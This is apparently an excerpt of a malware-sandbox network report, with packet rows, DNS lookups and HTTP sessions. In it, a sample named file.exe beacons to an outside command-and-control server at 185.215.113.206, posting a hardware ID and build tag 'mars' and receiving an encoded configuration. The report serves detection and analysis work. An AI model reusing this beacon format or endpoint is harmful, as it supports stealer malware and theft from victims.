Nov 9, 2024 22:09:55.176402092 CET	49970	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:55.176429033 CET	443	49970	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:55.512319088 CET	443	49978	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:55.512630939 CET	49978	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:55.512649059 CET	443	49978	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:55.512981892 CET	443	49978	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:55.513298035 CET	49978	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:55.513380051 CET	443	49978	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:55.513480902 CET	49978	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:55.555337906 CET	443	49978	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:55.585089922 CET	443	49974	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.585419893 CET	443	49973	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.585777998 CET	49974	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.585791111 CET	443	49974	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.586011887 CET	49973	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.586019993 CET	443	49973	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.586297989 CET	49974	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.586302996 CET	443	49974	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.586477041 CET	49973	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.586481094 CET	443	49973	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.586909056 CET	443	49977	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.587227106 CET	49977	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.587253094 CET	443	49977	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.587589979 CET	49977	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.587599039 CET	443	49977	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.587737083 CET	443	49976	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.588054895 CET	49976	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.588082075 CET	443	49976	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.588512897 CET	49976	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.588521004 CET	443	49976	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.650528908 CET	443	49978	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:55.650556087 CET	443	49978	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:55.650629997 CET	443	49978	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:55.650638103 CET	49978	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:55.650695086 CET	49978	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:55.651866913 CET	49978	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:55.651881933 CET	443	49978	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:55.659210920 CET	49980	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:55.659238100 CET	443	49980	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:55.659338951 CET	49980	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:55.659533978 CET	49980	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:55.659548998 CET	443	49980	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:55.705091000 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.705112934 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.705123901 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.705180883 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.705192089 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.705203056 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.705202103 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.705202103 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.705214977 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.705233097 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.705245972 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.705302954 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.705344915 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.705355883 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.705364943 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.705404997 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.705463886 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.706227064 CET	443	49972	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:55.707197905 CET	49972	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:55.707210064 CET	443	49972	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:55.708065987 CET	49972	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:55.708070993 CET	443	49972	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:55.708082914 CET	49972	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:55.708091974 CET	443	49972	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:55.710094929 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.710108042 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.710179090 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.710206985 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.710449934 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.713984013 CET	443	49974	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.714113951 CET	443	49974	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.714219093 CET	49974	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.714340925 CET	49974	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.714350939 CET	443	49974	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.714387894 CET	49974	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.714392900 CET	443	49974	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.717509031 CET	443	49973	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.717576981 CET	443	49973	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.717611074 CET	49981	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.717637062 CET	49973	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.717650890 CET	443	49981	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.717675924 CET	443	49977	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.717747927 CET	49981	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.717792988 CET	49973	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.717792988 CET	49973	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.717807055 CET	443	49973	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.717813969 CET	443	49973	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.717823029 CET	443	49977	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.717858076 CET	443	49977	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.717881918 CET	49977	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.717906952 CET	49977	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.718064070 CET	49977	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.718080997 CET	443	49977	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.718092918 CET	49977	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.718097925 CET	443	49977	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.718770027 CET	49981	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.718782902 CET	443	49981	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.720746040 CET	49982	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.720782995 CET	443	49982	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.720803976 CET	49983	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.720812082 CET	443	49983	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.720850945 CET	49982	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.720876932 CET	49983	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.720988035 CET	49983	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.720998049 CET	443	49983	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.721030951 CET	49982	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.721043110 CET	443	49982	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.748549938 CET	443	49976	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.748606920 CET	443	49976	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.748696089 CET	49976	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.751549959 CET	49976	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.751568079 CET	443	49976	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.751579046 CET	49976	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.751585007 CET	443	49976	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.756858110 CET	49984	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.756870031 CET	443	49984	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.757029057 CET	49984	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.757255077 CET	49984	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.757261992 CET	443	49984	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.777688980 CET	443	49979	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.778089046 CET	49979	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.778115034 CET	443	49979	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.778640985 CET	49979	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.778647900 CET	443	49979	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.858362913 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.858375072 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.858444929 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.858458042 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.858495951 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.858513117 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.858530045 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.858541012 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.858580112 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.858580112 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.859003067 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.859029055 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.859060049 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.859064102 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.859076023 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.859081984 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.859090090 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.859103918 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.859137058 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.859137058 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.859694958 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.859705925 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.859716892 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.859767914 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.859792948 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.906656027 CET	443	49979	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.906718016 CET	443	49979	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.906858921 CET	49979	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.906888962 CET	49979	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.906898975 CET	443	49979	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.906909943 CET	49979	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.906914949 CET	443	49979	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.909409046 CET	49985	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.909425974 CET	443	49985	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.909714937 CET	49985	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.909861088 CET	49985	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:55.909874916 CET	443	49985	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:55.975449085 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.975509882 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.975545883 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.975558996 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.975591898 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.975605965 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.975605965 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.975619078 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.975642920 CET	80	49975	185.215.113.16	192.168.2.5
Nov 9, 2024 22:09:55.975656986 CET	49975	80	192.168.2.5	185.215.113.16
Nov 9, 2024 22:09:55.975656986 CET	49975	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 9, 2024 22:09:26.649646997 CET	192.168.2.5	1.1.1.1	0xeb2d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:26.649796009 CET	192.168.2.5	1.1.1.1	0x2475	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 9, 2024 22:09:31.490605116 CET	192.168.2.5	1.1.1.1	0x6966	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:31.490757942 CET	192.168.2.5	1.1.1.1	0xe8de	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 9, 2024 22:09:35.781790018 CET	192.168.2.5	1.1.1.1	0x2334	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:35.782073021 CET	192.168.2.5	1.1.1.1	0x1f3f	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 9, 2024 22:09:37.514679909 CET	192.168.2.5	1.1.1.1	0x4dcb	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:37.514831066 CET	192.168.2.5	1.1.1.1	0x4b34	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 9, 2024 22:09:38.721978903 CET	192.168.2.5	1.1.1.1	0xa218	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:38.722738028 CET	192.168.2.5	1.1.1.1	0xe2bc	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 9, 2024 22:09:38.733450890 CET	192.168.2.5	1.1.1.1	0x73db	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:38.733578920 CET	192.168.2.5	1.1.1.1	0x2842	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 9, 2024 22:09:38.838387012 CET	192.168.2.5	1.1.1.1	0xc592	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:38.838665962 CET	192.168.2.5	1.1.1.1	0x5b1	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 9, 2024 22:09:38.839854002 CET	192.168.2.5	1.1.1.1	0x94af	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:38.840425968 CET	192.168.2.5	1.1.1.1	0x363	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 9, 2024 22:09:38.993761063 CET	192.168.2.5	1.1.1.1	0x98b8	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:38.993932009 CET	192.168.2.5	1.1.1.1	0x6b0d	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 9, 2024 22:09:40.739871025 CET	192.168.2.5	1.1.1.1	0x7028	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:40.740185976 CET	192.168.2.5	1.1.1.1	0xc681	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 9, 2024 22:09:40.740824938 CET	192.168.2.5	1.1.1.1	0x6c1	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:40.741077900 CET	192.168.2.5	1.1.1.1	0x7196	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 9, 2024 22:09:40.762196064 CET	192.168.2.5	1.1.1.1	0x65be	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:40.762376070 CET	192.168.2.5	1.1.1.1	0xbc6d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 9, 2024 22:09:26.656788111 CET	1.1.1.1	192.168.2.5	0xeb2d	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:26.656856060 CET	1.1.1.1	192.168.2.5	0x2475	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 9, 2024 22:09:31.497131109 CET	1.1.1.1	192.168.2.5	0x6966	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:31.497131109 CET	1.1.1.1	192.168.2.5	0x6966	No error (0)	plus.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:31.497800112 CET	1.1.1.1	192.168.2.5	0xe8de	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:35.788733006 CET	1.1.1.1	192.168.2.5	0x2334	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:35.789094925 CET	1.1.1.1	192.168.2.5	0x1f3f	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:35.790134907 CET	1.1.1.1	192.168.2.5	0xbfb5	No error (0)	svc.ha-teams.office.com	svc.ms-acdc-teams.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:35.883559942 CET	1.1.1.1	192.168.2.5	0x1ded	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:35.883559942 CET	1.1.1.1	192.168.2.5	0x1ded	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:35.911154032 CET	1.1.1.1	192.168.2.5	0x5fd	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:37.521934032 CET	1.1.1.1	192.168.2.5	0x4dcb	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:37.522149086 CET	1.1.1.1	192.168.2.5	0x4b34	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:38.730284929 CET	1.1.1.1	192.168.2.5	0xa218	No error (0)	sb.scorecardresearch.com		18.154.84.35	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:38.730284929 CET	1.1.1.1	192.168.2.5	0xa218	No error (0)	sb.scorecardresearch.com		18.154.84.16	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:38.730284929 CET	1.1.1.1	192.168.2.5	0xa218	No error (0)	sb.scorecardresearch.com		18.154.84.63	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:38.730284929 CET	1.1.1.1	192.168.2.5	0xa218	No error (0)	sb.scorecardresearch.com		18.154.84.17	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:38.740374088 CET	1.1.1.1	192.168.2.5	0x2842	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:38.740447998 CET	1.1.1.1	192.168.2.5	0x73db	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:38.845586061 CET	1.1.1.1	192.168.2.5	0xc592	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:38.845699072 CET	1.1.1.1	192.168.2.5	0x5b1	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:38.847063065 CET	1.1.1.1	192.168.2.5	0x94af	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:38.848155975 CET	1.1.1.1	192.168.2.5	0x363	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:39.000442028 CET	1.1.1.1	192.168.2.5	0x98b8	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:39.000442028 CET	1.1.1.1	192.168.2.5	0x98b8	No error (0)	googlehosted.l.googleusercontent.com		172.217.16.129	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:39.001065016 CET	1.1.1.1	192.168.2.5	0x6b0d	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:40.146904945 CET	1.1.1.1	192.168.2.5	0x9e1e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 9, 2024 22:09:40.146904945 CET	1.1.1.1	192.168.2.5	0x9e1e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:40.746442080 CET	1.1.1.1	192.168.2.5	0x7028	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:40.746442080 CET	1.1.1.1	192.168.2.5	0x7028	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:40.747363091 CET	1.1.1.1	192.168.2.5	0xc681	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 9, 2024 22:09:40.747406006 CET	1.1.1.1	192.168.2.5	0x6c1	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:40.747406006 CET	1.1.1.1	192.168.2.5	0x6c1	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:40.748378992 CET	1.1.1.1	192.168.2.5	0x7196	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 9, 2024 22:09:40.768990040 CET	1.1.1.1	192.168.2.5	0x65be	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:40.768990040 CET	1.1.1.1	192.168.2.5	0x65be	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:09:40.769151926 CET	1.1.1.1	192.168.2.5	0xbc6d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 9, 2024 22:09:42.106246948 CET	1.1.1.1	192.168.2.5	0xca74	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	1848	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:09:14.885704994 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 9, 2024 22:09:15.781399012 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 9, 2024 22:09:15.795146942 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAKEHIEBKJJJJJKKKE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 44 36 31 39 34 31 37 38 43 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="hwid"0D6194178CAC3343412148------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="build"mars------CFBAKEHIEBKJJJJJKKKE--
Nov 9, 2024 22:09:16.084218979 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6a 56 6d 4d 7a 5a 6d 4f 44 45 32 4e 7a 45 33 59 57 59 31 4f 44 6b 7a 5a 44 6b 33 5a 6a 41 77 4e 54 45 32 4d 6d 4e 69 4f 54 6b 32 59 54 67 34 4d 44 68 6a 59 32 55 7a 59 54 55 30 4d 54 52 6a 4e 44 41 78 4e 7a 46 6a 5a 44 49 7a 5a 44 45 78 4e 7a 6c 6b 5a 6d 51 31 5a 57 4d 33 4e 54 49 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 